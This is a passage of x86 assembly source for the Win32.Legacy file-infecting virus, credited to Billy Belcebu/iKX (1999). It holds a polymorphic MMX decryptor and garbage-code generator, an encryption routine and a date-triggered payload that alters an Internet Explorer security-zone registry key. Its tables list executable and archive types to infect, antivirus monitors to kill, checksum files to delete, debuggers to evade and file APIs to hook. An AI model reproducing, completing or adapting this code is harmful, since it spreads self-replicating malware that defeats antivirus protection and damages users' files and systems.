PUSH REG ; [...] ; POP REG ; @@gen_push_garbage_pop: mov eax,08h call r_range add al,50h stosb call @@gen_garbage call @@get_register add al,58h stosb ret ; MMX Group 1: ; ; PUNPCKLBW/PUNPCKLWD/PUNPCKLDQ/PACKSSWB/PCMPGTB/PCMPGTW/PCMPGTD/PACHUSWB ; PUNPCKHBW/PUNPCKHWD/PUNPCKHDQ/PACKSSDW @@gen_mmx_group1: mov bx,600Fh mov eax,0Ch call r_range add bh,al xchg eax,ebx stosw call @@build_mmx_gbg_rib ret @@gen_mmx_movq_mm?_mm?: mov ax,6F0Fh ; MOVQ MM?,MM? stosw call @@build_mmx_gbg_rib ret @@gen_mmx_movd_mm?_reg32: mov ax,7E0Fh ; MOVD MM?,E?? stosw call @@get_mmx_register shl eax,3 push eax call @@get_register xchg eax,ebx pop eax or al,bl or al,11000000b stosb ret ; MMX Group 2: ; ; PCMPEQB/PCMPEQW/PCMPEQD @@gen_mmx_group2: mov al,0Fh stosb mov eax,3 call r_range add al,74h stosb call @@build_mmx_gbg_rib ret ; MMX Group 3: ; ; PSRLW/PSRLD/PSRLQ/PMULLW/PSUBUSB/PSUBUSW/PAND/PADDUSB/PADDUSW/PANDN/PSRAW ; PSRAD/PMULHW/PSUBSB/PSUBSW/POR/PADDSB/PADDSW/PXOR/PSLLW/PSLLD/PSLLQ/PMULADDWD @@gen_mmx_group3: mov al,0Fh stosb call @@__overshit @@eoeo: db 0D1h,0D2h,0D3h,0D5h,0D8h,0D9h,0DBh,0DCh,0DDh,0DFh db 0E1h,0E2h,0E5h,0E8h,0E9h,0EBh,0ECh,0EDh,0EFh db 0F1h,0F2h,0F5h sg3tbl equ ($-offset @@eoeo) @@__overshit: pop esi mov eax,sg3tbl call r_range mov al,byte ptr [esi+eax] stosb call @@build_mmx_gbg_rib @@gmmx_goaway: ret @@build_mmx_gbg_rib: call @@get_mmx_register shl eax,3 push eax call @@get_mmx_register xchg eax,ebx pop eax or eax,ebx or al,11000000b stosb ret ; Generate Onebyters: ; ; CLD/CMC/SALC/NOP/LAHF/INC EAX/DEC EAX/SAHF/(F)WAIT/CWDE @@gen_onebyter: call @@go_overshit db 0FCh,0F5h,0D6h,90h,9Fh,40h,48h,9Eh,9Bh,98h @@go_overshit: pop esi mov eax,0Ah call r_range mov al,byte ptr [esi+eax] stosb ret ; Generate many possible ways for make a determinated register to be 0: ; XOR REG,REG/SUB REG,REG/PUSH 0 POP REG/AND REG,0/MOV REG,0 @@gen_zer0_reg: call @@get_register ; For garbage generators @@gen_zero_reg: push eax mov eax,06h call r_range pop ecx xchg eax,ecx jecxz @@xor_reg_reg dec ecx jecxz @@sub_reg_reg dec ecx jecxz @@push_0_pop_reg dec ecx jecxz @@and_reg_0 dec ecx jecxz @@mov_reg_0 @@or_reg_m1_inc_reg: push eax cmp al,_EAX jnz @@or_reg_m1 @@or_eax_m1: mov al,0Dh ; OR EAX,-1 stosb xor eax,eax dec eax stosd jmp @@orm1ir_inc_reg @@or_reg_m1: xchg eax,ebx mov ax,0C883h ; OR REG,-1 or ah,bl stosw xor eax,eax dec eax stosb xchg eax,ebx @@orm1ir_inc_reg: pop eax add al,40h ; INC REG stosb ret @@xor_reg_reg: xchg eax,ebx mov ax,0C033h ; XOR REG,REG or ah,bl shl ebx,3 or ah,bl stosw ret @@sub_reg_reg: xchg eax,ebx mov ax,0C02Bh ; SUB REG,REG or ah,bl shl ebx,3 or ah,bl stosw ret @@push_0_pop_reg: push eax mov ax,006Ah ; PUSH 00h stosw ; POP REG pop eax add al,58h stosb ret @@and_reg_0: cmp al,_EAX jnz @@and_regnoteax_0 @@and_eax_0: mov al,25h stosb xor eax,eax stosd ret @@and_regnoteax_0: xchg eax,ebx mov ax,0E083h ; AND REG,00 or ah,bl stosw xor eax,eax stosb ret @@mov_reg_0: add al,0B8h ; MOV REG,00000000 stosb xor eax,eax stosd ret ; --- Decryptor code generators ; Generate the routine for check for MMX presence, that should perform exactly ; the same action of the following code: ; MOV EAX,1 ; CPUID ; BT EDX,17h ; JNC NOT_MMX @@gen_check4mmx: mov eax,08h call r_range xchg eax,ecx jecxz @@c4mmx_a_@@1 dec ecx jecxz @@c4mmx_a_@@2 dec ecx jecxz @@c4mmx_a_@@3 dec ecx jecxz @@c4mmx_a_@@4 dec ecx jecxz @@c4mmx_a_@@5 dec ecx jecxz @@c4mmx_a_@@6 dec ecx jecxz @@c4mmx_a_@@7 @@c4mmx_a_@@8: xor eax,eax ; ZERO EAX call @@gen_zero_reg ; SUB EAX,-1 mov al,2Dh stosb xor eax,eax dec eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@7: xor eax,eax ; ZERO EAX call @@gen_zero_reg ; ADD EAX,1 mov al,05h stosb xor eax,eax inc eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@6: xor eax,eax ; ZERO EAX call @@gen_zero_reg ; STC mov ax,1DF9h ; SBB EAX,-2 stosw xor eax,eax dec eax dec eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@5: xor eax,eax ; ZERO EAX call @@gen_zero_reg ; STC mov ax,15F9h ; ADC EAX,00000000 stosw xor eax,eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@4: mov al,0Dh ; OR EAX,-1 stosb ; AND EAX,1 xor eax,eax dec eax stosd mov al,25h stosb xor eax,eax inc eax stosd jmp @@c4mmx_over_a @@c4mmx_a_@@3: mov eax,9058016Ah ; PUSH 01 stosd ; POP EAX dec edi jmp @@c4mmx_over_a @@c4mmx_a_@@2: xor eax,eax call @@gen_zero_reg ; ZERO EAX mov al,40h ; INC EAX stosb jmp @@c4mmx_over_a @@c4mmx_a_@@1: mov al,0B8h ; MOV EAX,1 stosb xor eax,eax inc eax stosd @@c4mmx_over_a: call @@gen_garbage mov ax,0A20Fh ; CPUID stosw call @@clear_mask mov byte ptr [ebp+@@reg_mask],_EDX call @@gen_garbage mov eax,03h call r_range or eax,eax jz @@c4mmx_b_@@3 dec eax jz @@c4mmx_b_@@2 @@c4mmx_b_@@1: mov eax,17E2BA0Fh ; BT EDX,17h stosd ; JC $+?? mov al,72h stosb jmp @@c4mmx_over_b @@c4mmx_b_@@2: mov eax,0000C2F7h ; TEST EDX,00400000h stosd ; JZ $+?? mov eax,00740040h stosd dec edi jmp @@c4mmx_over_b @@c4mmx_b_@@3: mov eax,7218EAC1h ; SHR EDX,18h stosd ; JC $+?? @@c4mmx_over_b: push edi inc edi ; Fake data for temp. fill call @@gen_garbage mov al,0e9h ; RET stosb mov dword ptr [ebp+@@ptrto2nd],edi xor eax,eax stosd call @@gen_garbage pop ebx mov edx,edi sub edx,ebx dec edx mov byte ptr [ebx],dl inc byte ptr [ebp+@@init_mmx?] or word ptr [ebp+@@flags],_CHECK4MMX ret ; Generate a routine for get the pseudo delta-offset, which will look like ; this one: ; CALL @@1 ; [...] ; @@1: POP REG @@gen_deltaoffset: mov eax,10h call r_range xchg eax,ebx mov al,0E8h stosb xor eax,eax stosd mov dword ptr [ebp+@@tmp_call],edi call @@gen_garbage mov ecx,dword ptr [ebp+@@tmp_call] mov ebx,edi sub ebx,ecx mov [ecx-4],ebx mov al,58h add al,byte ptr [ebp+@@reg_delta] stosb mov ebx,dword ptr [ebp+@@ptr_buffer] sub ecx,ebx mov dword ptr [ebp+@@fix1],ecx or word ptr [ebp+@@flags],_DELTAOFFSET ret ; Generate a routine for put in the register used as counter the size of the ; code we want to decrypt @@gen_loadsize: or word ptr [ebp+@@flags],_LOADSIZE mov eax,2 call r_range xchg eax,ecx jecxz @@gls_@@2 @@gls_@@1: mov al,68h ; PUSH size stosb ; POP reg_size mov dword ptr [ebp+@@size_address],edi mov eax,dword ptr [ebp+@@size2cryptd4] stosd call @@gen_garbage mov al,58h add al,byte ptr [ebp+@@reg_counter] stosb ret @@gls_@@2: movzx eax,byte ptr [ebp+@@reg_counter] add eax,0B8h ; MOV reg_size,size stosb mov dword ptr [ebp+@@size_address],edi mov eax,dword ptr [ebp+@@size2cryptd4] stosd ret ; Generate the code that will make the pointer register to point exactly to ; the beginning of the code we want to encrypt or decrypt @@gen_loadpointer: mov eax,LIMIT sub eax,dword ptr [ebp+@@fix1] mov dword ptr [ebp+@@fix2],eax mov eax,03h call r_range or eax,eax jz @@lp_@@3 dec eax jz @@lp_@@2 @@lp_@@1: mov al,8Dh ; LEA reg_ptr,[reg_delta+fix] stosb movzx eax,byte ptr [ebp+@@reg_ptr2data] shl al,3 add al,10000000b add al,byte ptr [ebp+@@reg_delta] stosb jmp @@lp_ @@lp_@@2: mov al,8Bh ; MOV reg_ptr,reg_delta stosb ; ADD reg_ptr,fix movzx eax,byte ptr [ebp+@@reg_ptr2data] shl eax,3 or al,byte ptr [ebp+@@reg_delta] or al,11000000b stosb call @@gen_garbage mov al,81h stosb mov al,0C0h or al,byte ptr [ebp+@@reg_ptr2data] stosb jmp @@lp_ @@lp_@@3: call @@clear_mask ; MOV reg_mask,fix2 call @@get_register ; LEA reg_ptr,[reg_mask+reg_delta+(fix+fix2)] mov byte ptr [ebp+@@reg_mask],al add al,0B8h stosb call random stosd push eax call @@gen_garbage pop edx sub dword ptr [ebp+@@fix2],edx mov al,8Dh stosb movzx eax,byte ptr [ebp+@@reg_ptr2data] shl eax,3 or al,10000100b stosb movzx eax,byte ptr [ebp+@@reg_mask] shl eax,3 or al,byte ptr [ebp+@@reg_delta] stosb @@lp_: mov eax,dword ptr [ebp+@@fix2] stosd or word ptr [ebp+@@flags],_LOADPOINTER ret ; Put in the register used as key the number used for the encryption of the ; virus code. @@gen_loadkey: mov eax,2 call r_range xchg eax,ecx jecxz @@glk_@@2 @@glk_@@1: mov al,68h ; PUSH enc_key stosb ; POP reg_key mov eax,dword ptr [ebp+@@enc_key] stosd call @@gen_garbage mov al,58h add al,byte ptr [ebp+@@reg_key] stosb or word ptr [ebp+@@flags],_LOADKEY ret @@glk_@@2: ; MOV key_reg,enc_key movzx eax,byte ptr [ebp+@@reg_key] add eax,0B8h stosb mov eax,dword ptr [ebp+@@enc_key] stosd or word ptr [ebp+@@flags],_LOADKEY ret ; Generate the code for pass the encryption key to an MMX register @@gen_passkey2mmx: mov ax,6E0Fh ; MOV mmx_key,reg_key stosw movzx eax,byte ptr [ebp+@@mmx_key] shl eax,3 or al,byte ptr [ebp+@@reg_key] or al,11000000b stosb or word ptr [ebp+@@flags],_PASSKEY2MMX ret ; Just for know where we must loop the decryptor @@getloopaddress: mov dword ptr [ebp+@@l00paddress],edi ret ; Pass the dword of code we are decrypting to the MMX register used for that ; matter @@gen_passptr2mmx: mov ax,6E0Fh ; MOV mmx_ptr,[reg_ptr] stosw movzx eax,byte ptr [ebp+@@mmx_ptr2data] shl eax,3 or al,byte ptr [ebp+@@reg_ptr2data] stosb or word ptr [ebp+@@flags],_PASSPTR2MMX ret ; Generate the MMX encryption opcode: ; PXOR @@gen_crypt_instructions: mov ax,0EF0Fh ; PXOR mmx_ptr,mmx_key stosw movzx eax,byte ptr [ebp+@@mmx_ptr2data] shl eax,3 or al,byte ptr [ebp+@@mmx_key] or al,11000000b stosb or word ptr [ebp+@@flags],_CRYPT ret ; Generate the alternative method of MMX encryption code: ; PXOR = XOR @@gen_non_mmx_crypt_instructions: mov ax,0031h ; XOR [reg_ptr],reg_key movzx ebx,byte ptr [ebp+@@reg_key] shl ebx,3 or bl,byte ptr [ebp+@@reg_ptr2data] or ah,bl stosw ret ; Generate the code that will pass the already decrypted data to its original ; position @@gen_passmmx2ptr: mov ax,7E0Fh ; MOVD [reg_ptr],(mmx_ptr xor mmx_key) stosw movzx eax,byte ptr [ebp+@@mmx_ptr2data] shl eax,3 or al,byte ptr [ebp+@@reg_ptr2data] stosb or word ptr [ebp+@@flags],_PASSMMX2PTR ret ; Select the order between increase pointer and decrease counter @@gen_incpointer_deccounter: mov eax,2 call r_range xchg eax,ecx jecxz @@gdc_gip @@gip_gdc: call @@gen_incpointer call @@gen_some_garbage call @@gen_deccounter ret @@gdc_gip: call @@gen_deccounter call @@gen_some_garbage call @@gen_incpointer ret ; Generate the code for make the pointer register to point to the next dword @@gen_incpointer: mov eax,5 call r_range xchg eax,ecx jecxz @@gip_@@2 dec ecx jz @@gip_@@3 dec ecx jz @@gip_@@4 dec ecx jnz @@gip_@@1 jmp @@gip_@@5 @@gip_@@1: mov bl,4 ; ADD reg_ptr,4 call @@gip_AddIt jmp @@gip_EXIT @@gip_@@2: mov eax,2 call r_range xchg eax,ecx jecxz @@gip_@@2_@@2 @@gip_@@2_@@1: mov bl,3 ; ADD reg_ptr,3 call @@gip_AddIt call @@gen_garbage mov bl,1 ; INC reg_ptr call @@gip_IncIt jmp @@gip_@@2_EXIT @@gip_@@2_@@2: mov bl,1 ; INC reg_ptr call @@gip_IncIt call @@gen_garbage mov bl,3 call @@gip_AddIt ; ADD reg_ptr,3 @@gip_@@2_EXIT: jmp @@gip_EXIT @@gip_@@3: mov eax,2 call r_range xchg eax,ecx jecxz @@gip_@@3_@@2 @@gip_@@3_@@1: mov bl,2 ; ADD reg_ptr,2 call @@gip_AddIt call @@gen_garbage mov bl,2 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr jmp @@gip_@@2_EXIT @@gip_@@3_@@2: mov bl,2 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr call @@gen_garbage mov bl,2 ; ADD reg_ptr,2 call @@gip_AddIt jmp @@gip_@@2_EXIT @@gip_@@4: mov eax,2 call r_range xchg eax,ecx jecxz @@gip_@@4_@@2 @@gip_@@4_@@1: mov bl,1 ; ADD reg_ptr,1 call @@gip_AddIt ; INC reg_ptr call @@gen_garbage mov bl,3 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr jmp @@gip_@@2_EXIT @@gip_@@4_@@2: mov bl,1 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr call @@gen_garbage mov bl,3 ; INC reg_ptr call @@gip_AddIt ; ADD reg_ptr,1 jmp @@gip_@@2_EXIT @@gip_@@5: ; INC reg_ptr mov bl,4 ; INC reg_ptr call @@gip_IncIt ; INC reg_ptr ; INC reg_ptr @@gip_EXIT: or word ptr [ebp+@@flags],_INCPOINTER ret @@gip_AddIt: mov al,83h stosb mov al,byte ptr [ebp+@@reg_ptr2data] or al,11000000b stosb mov al,bl stosb ret @@gip_IncIt: movzx ecx,bl mov al,40h add al,byte ptr [ebp+@@reg_ptr2data] @@gip_II_Loop: stosb push ecx eax call @@gen_garbage pop eax ecx loop @@gip_II_Loop ret ; Generate the code that will decrease in one unit the counter @@gen_deccounter: mov eax,3 call r_range xchg eax,ecx jecxz @@gdc_@@2 dec ecx jecxz @@gdc_@@3 @@gdc_@@1: mov al,83h ; SUB reg_size,1 stosb mov al,byte ptr [ebp+@@reg_counter] or al,11101000b stosb mov al,1 stosb jmp @@gdc_EXIT @@gdc_@@2: mov al,48h ; DEC reg_size add al,byte ptr [ebp+@@reg_counter] stosb jmp @@gdc_EXIT @@gdc_@@3: mov al,83h ; ADD reg_size,-1 stosb mov al,byte ptr [ebp+@@reg_counter] or al,11000000b stosb mov al,0FFh stosb @@gdc_EXIT: or word ptr [ebp+@@flags],_DECCOUNTER ret ; Generate the loop-alike thingy @@gen_loop: mov eax,04h call r_range or eax,eax jz @@gl_@@3 dec eax jz @@gl_@@2 dec eax jz @@gl_@@1 @@gl_@@0: mov al,83h ; CMP reg_size,00h stosb movzx eax,byte ptr [ebp+@@reg_counter] or al,11111000b stosb xor eax,eax stosb jmp @@gl_dojnz @@gl_@@1: mov al,83h ; CMP reg_size,-1 stosb movzx eax,byte ptr [ebp+@@reg_counter] or al,11111000b stosb xor eax,eax dec eax stosb mov eax,dword ptr [ebp+@@size_address] dec dword ptr [eax] jmp @@gl_dojnz @@gl_@@2: mov al,0Bh ; OR reg_size,reg_size stosb movzx eax,byte ptr [ebp+@@reg_counter] shl eax,3 or al,byte ptr [ebp+@@reg_counter] or al,11000000b stosb jmp @@gl_dojnz @@gl_@@3: mov al,85h stosb movzx eax,byte ptr [ebp+@@reg_counter] ; TEST reg_size,reg_size shl eax,3 or al,byte ptr [ebp+@@reg_counter] or al,11000000b stosb mov eax,dword ptr [ebp+@@size_address] dec dword ptr [eax] @@gl_dojnz: mov ax,850Fh ; JNZ LOOP_ADDRESS stosw mov eax,dword ptr [ebp+@@l00paddress] sub eax,edi sub eax,00000004h stosd or word ptr [ebp+@@flags],_LOOP ret ; --- Garbage generator's table @@gbgtbl label byte dd offset (@@do_anything) ; Oh, my lazy engine! :) dd offset (@@gen_arithmetic_reg32_reg32) dd offset (@@gen_arithmetic_reg32_imm32) dd offset (@@gen_arithmetic_eax_imm32) dd offset (@@gen_mov_reg32_imm32) dd offset (@@gen_mov_reg8_imm8) dd offset (@@gen_call_to_subroutine) dd offset (@@gen_push_garbage_pop) dd offset (@@gen_zer0_reg) dd offset (@@gen_arithmetic_reg32_reg32) dd offset (@@gen_arithmetic_reg32_imm32) dd offset (@@gen_arithmetic_eax_imm32) dd offset (@@gen_mov_reg32_imm32) dd offset (@@gen_mov_reg8_imm8) @@non_mmx_gbg equ (($-offset @@gbgtbl)/4) ; MMX Garbage generatorz dd offset (@@gen_onebyter) ; For security, it's here dd offset (@@gen_mmx_group1) dd offset (@@gen_mmx_group2) dd offset (@@gen_mmx_group3) dd offset (@@gen_mmx_movq_mm?_mm?) dd offset (@@gen_mmx_movd_mm?_reg32) @@s_gbgtbl equ (($-offset @@gbgtbl)/4) ; MMX version @@after_looptbl label byte dd offset (@@gen_passptr2mmx) ;\ dd offset (@@gen_crypt_instructions) ; >- Must follow this order dd offset (@@gen_passmmx2ptr) ;/ dd offset (@@gen_incpointer_deccounter) dd offset (@@gen_loop) @@s_aftlooptbl equ (($-offset @@after_looptbl)/4) ; Non MMX version @@after_l00ptbl label byte dd offset (@@gen_non_mmx_crypt_instructions) dd offset (@@gen_incpointer_deccounter) dd offset (@@gen_loop) @@s_aftl00ptbl equ (($-offset @@after_l00ptbl)/4) mmxe_end label byte mmxe endp ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; Random procedures ; =:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:=:= ; ; RANDOM ; ; input: ; Nothing. ; output: ; EAX = Random number ; random proc ; Thanx MDriller! ;) push ecx mov eax,dword ptr [ebp+rnd_seed1] dec dword ptr [ebp+rnd_seed1] xor eax,dword ptr [ebp+rnd_seed2] mov ecx,eax rol dword ptr [ebp+rnd_seed1],cl add dword ptr [ebp+rnd_seed2],eax adc eax,dword ptr [ebp+rnd_seed2] add eax,ecx ror eax,cl not eax sub eax,3 xor dword ptr [ebp+rnd_seed2],eax xor eax,dword ptr [ebp+rnd_seed3] rol dword ptr [ebp+rnd_seed3],1 sub dword ptr [ebp+rnd_seed3],ecx sbb dword ptr [ebp+rnd_seed3],4 inc dword ptr [ebp+rnd_seed2] pop ecx ret random endp ; R_RANGE ; ; input: ; EAX = Number of possible random numbers ; output: ; EAX = Number between 0 and (EAX-1) r_range proc push ecx push edx mov ecx,eax call random xor edx,edx div ecx mov eax,edx pop edx pop ecx ret r_range endp ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Dropper unpacker (22 bytes) || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ; ; Even more optimized version of the one in Win32.Thorin! ; ; ÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜ ; Û Û Û ÜÜÜÜÛ Û ÜÜÜÜÛ Û ÜÜÜÜÛ The Little and Shitty Compression Engine ; Û ÛÜÜÜÜ ÛÜÜÜÜ Û Û ÛÜÜÜÜ Û ÜÜÜÛÜ Poorly coded and written by... ; ÛÜÜÜÜÜÛ ÛÜÜÜÜÜÛ ÛÜÜÜÜÜÛ ÛÜÜÜÜÜÛ Who cares? :) Well... by me. Any problem? ; ; This is a very simple packing engine, based in the repetition of zeros that ; the PE files have, thus it is able to compress a PE file... Hehehe, i can ; put a dropper without caring about its space! That was the only reason of ; make this little shit. Maybe one day i will make a 'real' compression engi- ; ne, but today i'm too busy :) ; ; input: ; EDI = Offset where unpack ; ESI = Data to unpack ; ECX = Size of packed data ; output: ; Nothing. ; LSCE_UnPack proc lodsb ; 1 byte Whoa! I've or al,al ; 2 bytes optimized some jnz store_byte ; 2 bytes more bytes, dec ecx ; 1 byte and Super only dec ecx ; 1 byte helped me with lodsw ; 2 bytes one! I've done cwde ; 1 byte the rest! :) push ecx ; 1 byte xor ecx,ecx ; 2 bytes xchg eax,ecx ; 1 byte rep stosb ; 2 bytes pop ecx ; 1 byte test al,00h ; 1 byte org $-1 store_byte: stosb ; 1 byte loop LSCE_UnPack ; 2 bytes ret ; 1 bytes LSCE_UnPack endp ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| [iENC] - Internal ENCryptor engine v1.00 || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ; ; iENC_encrypt ; ; input: ; ESI = Pointer to iENC structure ; EDI = Pointer to where virus will be appended ; output: ; Nothing ; iENC_encrypt proc lodsw cwde xchg eax,ecx lodsw cwde add eax,edi xchg eax,edx call random iENC_encl00p: xor byte ptr [edx],al inc edx loop iENC_encl00p cmp byte ptr [esi],Billy_Bel jnz iENC_encrypt ret iENC_encrypt endp db 00h,"[iENC v1.00]",00h ; iENC_decrypt ; ; input: ; Nothing. ; output: ; Nothing. ; iENC_decrypt proc pushad ; Save all registers pushfd ; Save flags mov eax,[esp+24h] ; EAX = Return address mov ebx,[eax] ; EBX = CRC32 mov ecx,[eax+04h] ; EAX = Size of block add eax,08h ; EAX = Ptr to block cdq ; EDX = 0 iENC_l00p: pushad ; Preserve all registers push eax ecx iENC_subl00p: xor byte ptr [eax],dl ; XOR a byte inc eax ; Point to next one loop iENC_subl00p ; And try it too pop edi esi call CRC32 ; Do the CRC's match? cmp eax,ebx popad jz iENC_Ok ; If so, all is ok. pushad iENC_subl00p2: xor byte ptr [eax],dl ; Reencrypt: doesn't match inc eax loop iENC_subl00p2 popad inc edx ; Try with another key jmp iENC_l00p iENC_Ok: popfd ; Restore flags popad ; Restore registers add dword ptr [esp],08h ; Fix return address ret ; Pffff! iENC_decrypt endp ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Virus payload || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] payload proc call iENC_decrypt dd 00000000h dd eBlock13-Block13 Block13 label byte lea eax,[ebp+SYSTEMTIME] ; Get day, month, etc push eax apicall _GetSystemTime cmp word ptr [ebp+ST_wMonth],nMonth ; Is July? jnz no_payload cmp word ptr [ebp+ST_wDay],nDay ; Is 31? jnz no_payload push 00001000h ; Kewl! Show copyrightz msgs lea ebx,[ebp+szTtl] push ebx lea ebx,[ebp+szMsg] push ebx push 00000000h apicall _MessageBoxA lea eax,[ebp+Disposition] ; Make a little trick for the push eax ; Explorer... lea eax,[ebp+RegHandle] push eax xor eax,eax push eax push 000F003Fh push eax push eax push eax pushs "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0" push 80000001h apicall _RegCreateKeyExA push 13d call over_ttl szTtl db "[Win32.Legacy." IF DEBUG db "debug." ENDIF vsize db " v1.00]",0 over_ttl: push 01h push 00h pushs "DisplayName" push dword ptr [ebp+RegHandle] apicall _RegSetValueExA push dword ptr [ebp+RegHandle] apicall _CloseHandle no_payload: ret payload endp szMsg db "Welcolme to the Win32.Legacy payload. You are infected by a virus,",10 db "i am your worst nightmare... But BEWARE! Your organism is also ",10 db "infected. So go to the doctor and ask him for a cure for this...",10,10 ; Since here, the message is a bullshit :) db "Featuring:",10 db 09,"MultiMedia eXtensions Engine [MMXE v1.01]",10 db 09,"Polymorphic Header Idiot Random Engine [PHIRE v1.00]",10 db 09,"Internal ENCryptor technology [iENC v1.00]",10 db 10,"Greetings:",10 db 09,"StarZer0/iKX & Int13h -> Thanx for information about archives",10 db 09,"Murkry/iKX -> Thanx for 'Win95 Structures & Secrets' article",10 db 09,"zAxOn/DDT -> Thanx for getting me into ASM",10 db 09,"Benny/29A -> Thanx for information about threads",10 db 09,"The Mental Driller/29A -> Thanx for polymorphy ideas",10 db 09,"Super/29A -> Thanx for optimization knowledge & opcode list",10 db 09,"Wintermute -> Thanx for emulation ideas",10 db 09,"Ypsilon -> Thanx for NT information & cool ideas",10 db 10,"I don't like the drugs...",10 db 09,"But the drugs like me!",10,10 db "(c) 1999 Billy Belcebu/iKX",09,09,"< billy_belcebu@mixmail.com >",0 eBlock13 label byte ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Data || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] IF DEBUG SEARCH_MASK db "GOAT???." ELSE SEARCH_MASK db "*." ENDIF EXTENSION dd 00000000h Extensions_Table label byte db "EXE",0 db "SCR",0 db "CPL",0 db "RAR",0 db "ARJ",0 nExtensions equ (($-offset Extensions_Table)/4) ThreadsTable label byte dd offset (ThrKillMonitors) dd offset (ThrAntiDebugger) dd offset (ThrDeleteCRC) dd offset (ThrPerProcess) dd offset (ThrPrepareInf) dd offset (ThrInfectFiles) nThreads equ (($-offset ThreadsTable)/4) Monitors2Kill label byte db "AVP Monitor",0 db "Amon Antivirus Monitor",0 db Billy_Bel Files2Kill label byte db "ANTI-VIR.DAT",0 db "CHKLIST.DAT",0 db "CHKLIST.TAV",0 db "CHKLIST.MS",0 db "CHKLIST.CPS",0 db "AVP.CRC",0 db "IVB.NTZ",0 db "SMARTCHK.MS",0 db "SMARTCHK.CPS",0 db Billy_Bel Drivers2Avoid label byte db "\\.\SICE",0 db "\\.\NTICE",0 db Billy_Bel ; iENC structure ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; +00h Size of block ; +02h Offset of block - offset of virus start iENC_struc label byte dw offset (eBlock1-Block1) dw offset (Block1-virus_start) dw offset (eBlock2-Block2) dw offset (Block2-virus_start) dw offset (eBlock3-Block3) dw offset (Block3-virus_start) dw offset (eBlock4-Block4) dw offset (Block4-virus_start) dw offset (eBlock5-Block5) dw offset (Block5-virus_start) dw offset (eBlock6-Block6) dw offset (Block6-virus_start) dw offset (eBlock7-Block7) dw offset (Block7-virus_start) dw offset (eBlock8-Block8) dw offset (Block8-virus_start) dw offset (eBlock9-Block9) dw offset (Block9-virus_start) dw offset (eBlockA-BlockA) dw offset (BlockA-virus_start) dw offset (eBlockB-BlockB) dw offset (BlockB-virus_start) dw offset (eBlockC-BlockC) dw offset (BlockC-virus_start) dw offset (eBlockD-BlockD) dw offset (BlockD-virus_start) dw offset (eBlockE-BlockE) dw offset (BlockE-virus_start) dw offset (eBlockF-BlockF) dw offset (BlockF-virus_start) dw offset (eBlock10-Block10) dw offset (Block10-virus_start) dw offset (eBlock11-Block11) dw offset (Block11-virus_start) dw offset (eBlock12-Block12) dw offset (Block12-virus_start) dw offset (eBlock13-Block13) dw offset (Block13-virus_start) n_iENC_blocks equ (($-offset iENC_struc)/4) db Billy_Bel @@Hookz label byte ; @@Hookz structure ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; +00h API CRC32 ; +04h Address of the new handler for that API ; +08h The address of the original API dd 02308923Fh dd offset (HookMoveFileA) hMoveFileA: dd 000000000h dd 05BD05DB1h dd offset (HookCopyFileA) hCopyFileA: dd 000000000h dd 08F48B20Dh dd offset (HookGetFullPathNameA) hGetFullPathNameA: dd 000000000h dd 0DE256FDEh dd offset (HookDeleteFileA) hDeleteFileA: dd 000000000h dd 028452C4Fh dd offset (HookWinExec) hWinExec: dd 000000000h dd 0267E0B05h dd offset (HookCreateProcessA) hCreateProcessA: dd 000000000h dd 08C892DDFh dd offset (HookCreateFileA) hCreateFileA: dd 000000000h dd 0C633D3DEh dd offset (HookGetFileAttributesA) hGetFileAttributesA: dd 000000000h dd 03C19E536h dd offset (HookSetFileAttributesA) hSetFileAttributesA: dd 000000000h dd 0F2F886E3h dd offset (Hook_lopen) h_lopen: dd 000000000h dd 03BE43958h dd offset (HookMoveFileExA) hMoveFileExA: dd 000000000h dd 0953F2B64h dd offset (HookCopyFileExA) hCopyFileExA: dd 000000000h dd 068D8FC46h dd offset (HookOpenFile) hOpenFile dd 000000000h dd 0FFC97C1Fh dd offset (HookGetProcAddress) hGetProcAddress: dd 000000000h dd 0AE17EBEFh dd offset (HookFindFirstFileA) hFindFirstFileA: dd 000000000h dd 0AA700106h dd offset (HookFindNextFileA) hFindNextFileA: dd 000000000h nHookedAPIs equ ((($-offset @@Hookz)/4)/3) db Billy_Bel @@NamezCRC32 label byte @FindFirstFileA dd 0AE17EBEFh @FindNextFileA dd 0AA700106h @FindClose dd 0C200BE21h @CreateFileA dd 08C892DDFh @DeleteFileA dd 0DE256FDEh @SetFilePointer dd 085859D42h @SetFileAttributesA dd 03C19E536h @CloseHandle dd 068624A9Dh @GetCurrentDirectoryA dd 0EBC6C18Bh @SetCurrentDirectoryA dd 0B2DBD7DCh @GetWindowsDirectoryA dd 0FE248274h @GetSystemDirectoryA dd 0593AE7CEh @CreateFileMappingA dd 096B2D96Ch @MapViewOfFile dd 0797B49ECh @UnmapViewOfFile dd 094524B42h @SetEndOfFile dd 059994ED6h @GetProcAddress dd 0FFC97C1Fh @LoadLibraryA dd 04134D1ADh @GetSystemTime dd 075B7EBE8h @CreateThread dd 019F33607h @WaitForSingleObject dd 0D4540229h @ExitThread dd 0058F9201h @GetTickCount dd 0613FD7BAh 